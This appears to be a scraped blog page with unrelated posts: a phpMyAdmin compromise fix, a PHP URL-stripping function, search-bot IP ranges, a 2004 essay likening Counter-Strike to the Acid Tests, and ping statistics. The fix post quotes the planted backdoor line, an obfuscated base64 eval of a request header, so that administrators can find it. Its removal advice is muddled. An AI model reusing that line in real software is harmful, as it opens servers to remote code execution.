Design Code Execute

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You're getting hacked, but don't be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

To fix this issue, Shell into Ubuntu and Sudo up

Look for the line //*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] = 'yyy';

comment it out with //

hit ctrl+x, press y, and lets reload apache

To avoid this problem:

1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
2. Use Htaccess passwords on the phpmyadmin directory

This iTunes image flip gallery script utilizes Mootools v1.2. A direct link to the script

It's great to see the internet move away from flash more and more everyday.

This code shows how to strip http, www, or any suffixes. The most efficient way is to toss an array at str_replace. If anyone write this will all the suffixes please post in comments!

function remove_http($url){
$remove = array('http://','https://','www.','.com','.org','.net','.co.uk','.name','.info','.cc','.biz','.us','.gb','.tt');
$stripedUrl = str_replace($remove, '', $url);
return strtolower($stripedUrl);
}

Example:

<? echo remove_http("http://www.DesignCodeExecute.com") ?>

Result:

designcodeexecute

GOOGLE: Running custom analytics we picked up on the range of google bot crawls from 66.249.67.1 to 66.249.71.206
BING: Range of MSN Bot from 65.55.106.138 to 65.55.207.51
YAHOO: For yahoo we found one consistent ip 195.128.18.19

So does this mean GOOGLE runs there main spider out of a huge cluster in New York running on 66.249.*.* and MSN also runs in New York off 65.55.*.* and Yahoo has one dedicated server 195.128.18.19 in Miami Florida? Come on Yahoo they have hurricanes there!!!!

The 21st Century Alternative

A Short Essay Comparing Online Gaming to the Electric Kool-Aid Acid Tests
By Randy Apuzzo

The moment I connect nothing exists. Sixteen million colors vibrantly moving one hundred and fifty frames per second. Heaven today, there are better things than acid. New worlds can be accessed through the edge of technology without the aid of acid or other hallucinogens. These worlds brought forth through computers exist without class, religion, politics or reality. Internet gaming sounds like a joke but so was the Merry Prankster revolution to it’s elder generations. Particularly there is one internet game that appeared in 1998; almost seven years later the game at any given time has 30,000 active players world wide. Counter-strike can be claimed an addictive drug, it has a strong following to this date that has been relentlessly growing since its beginning. Countless games have implemented its style: an interactive chat medium that involves strategy and cooperation; a social experience very similar to chain smoking, but more attractive. Online gaming holds many similarities to the ideals and intentions of the pranksters in the sixties without the aid of acid.

There is a lingo. Right away I know if I am in the presence of a gamer; I have pinpointed co-workers that have played without previous conversation. The word counter-strike is an eye opener that retrieves remote responses like don't get me started or what server do you play on. Servers are extremely similar to the bus; the fascinating part is there are multiple servers, precisely ten thousand. Say you do not fancy a particular server, or are not accepted by its regulars, there will be thousands more to choose from. On a server you don't go by your real name, a nick name is given to you, people know you by your nickname, your handle. Once you are accepted on a server, the handle becomes an entity of your unbound essence. Socially one becomes connected to everyone by age, personality, playing style, smarts, and voice. Months later you pickup the server’s lingo, your handle is welcomed on every connection, hundreds to thousands of people that all gather around one particular server accept you, you are on the bus.

Desecration is not involved when joining a server. Religion, race, language, looks, politics, class, and zone profiling are non-existent, unless an entity chooses to bring these devils forth. Handles that express these devils can be voted off the server in a democratic style where only the majority of the vote wins. The usual religious fanatic that connects to preach about Christ is casually voted off, “We’re not on a Christ Trip. That’s been done, and it doesn’t work” (p.193). Servers can also have unspoken authoritative figures that have the power to overrule a vote or outright cast someone away for eternity similarly to way Babbs turned down Pancho, “it’s like I said. I don’t think there’s anybody who wants you on here.”(p. 268). Unsurprisingly servers that have overpowering authoritarian rule do not draw large crowds.

Regardless of popularity, servers, like a bus, can only manage small crowds of twenty to thirty at one time. Twenty handles play together on two teams, when one handle disconnects another who has been waiting in a long line connects almost immediately, --- the addiction is cured. Everyone does the rounds and greets the handle and the game carries on, and the addiction is fed. The sixteen million colors rage while the thrill of success, defeat, and the social orgasm occur; the magnetic forces that band people together around the world. Appearance is unknown of, there could be a naked body behind a handle, no one would say a word. When the naked body comes out and shares that he/she is playing in the nude people would then rap away about similar experiences until the next topic occurs; all in the meanwhile great competition emerges and reemerges to successfully achieve the task of working cooperatively to defeat the opposing team. The social orgasm goes on.

March 2001 a band of mad chemist elitist created the ultra magnetic world wide league called CAL, the Cyberathlete Amateur League, today’s Acids Tests. The most popular servers form clans of their best intensely addicted handles to compete world wide with other servers intensely addicted handles. The victims are usually addicts that made it to the point where public servers were not enough, CAL was the stronger drug to fed the addiction. The hardcore CAL players became icons in the online gaming world, their handles would be used to endorse gatherings and draw a crowd similar to the Tripps festivals. CAL spread past counter-strike and now “The primary goal of CAL is to be the standard for online competitions worldwide.”

Just when things couldn’t get more out of control the CPL (Cyberathlete Professional League) includes counter-strike. Two times a year a large gathering occurs where endorsements, money prizes, and mass amounts of energy make the most passionate players professionals. Kids drop out of college and become endorsed and shipped around the world to play other countries, states, provinces, and the most popular servers teams. Merchandise signed by these internet superheroes is being sold, and even AMD and INTEL get in on the action and it influences the stock market, "the youth always had three options: go to school, get a job, or live at home. And--Oh how boring each was! ---compared to the experience of...the infinite...and a life which subject is not scholastic or bureaucratic"(p. 62.). December 2004, “Winter Event Sold Out! ---Currently all passes for the Winter Event available via the CPL online registration are sold out. The CPL will have a limited number of spectator passes available for sale at the door.” The counter-strike experience is becoming sickening waves of handles without entities, the elders and elitist handles feel “the vibrations are very bad, poisoned madness in the air---“(p.205). The counter-strike world is no longer unique in its raw form. The internet gaming world is no longer hip; it ranks up as another option for good vibrations and get highs.

I live in the day of the internet, access to every culture, every “nerd”, and practically all information possible at my fingertips. In this dynamic world I find peace; drugs are not a necessary to get by, "The Angels trip was the motorcycle and the Pranksters' was LSD..."(p. 170). Creating my next fantasy can be done on the internet: create a webpage, join cal, start a web business, etc. Why not run off to the forest and live off the wilderness and hunt game to achieve the “native son” look upon things. Tom Wolfe does an excellent job making the bus an extremely unique place, though I would not want to be on the bus, I am satisfied with what my world offers. I love the internet, I strive off the web, I don’t need drugs to enhance my life, even though studies are being conducted to shows that counter-strike and like games affect the same part of the brain as cocaine.

Let me sum up the game I am talking about. Counter-strike. You connect; you share a main goal with your team mates. Every game is a voice conference; everyone has a live microphone which is used to strategize but ultimately to submerge in conversation with your fellow team mates. There are millions of colors. This game is so big that there are multiple online gaming leagues. There are two big "super bowl” like tournaments every year where teams fly to Texas from all over the world to compete. Winners receive over 50,000 in prizes. Students drop out of school to play this game as paid professionals. Professionals are shipped around the world all expenses paid on top of a 40,000 dollar salary. Something called HLTV, half-life television. Almost all league matches are broadcasted. This game is fun, addicting, and serious.

—  © Randy Apuzzo (2004)

Reference

The Electric Kool-Aid Acid Test
by Tom Wolfe
Published by Farrar, Straus and Giroux, 1968

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Ping Statistics from San Diego
--- www.simplehelix.com ping statistics ---
34 packets transmitted, 34 packets received, 0% packet loss
round-trip min/avg/max/stddev = 70.182/73.322/83.744/2.919 ms

Ping Statistics from Atlanta
--- www.simplehelix.com ping statistics ---
60 packets transmitted, 60 received, 0% packet loss, time 59003ms
rtt min/avg/max/mdev = 32.001/34.268/40.002/2.122 ms

To access an object in PHP you use a pointer. For example when using Browscap (http://code.google.com/p/phpbrowscap/) extract the values like so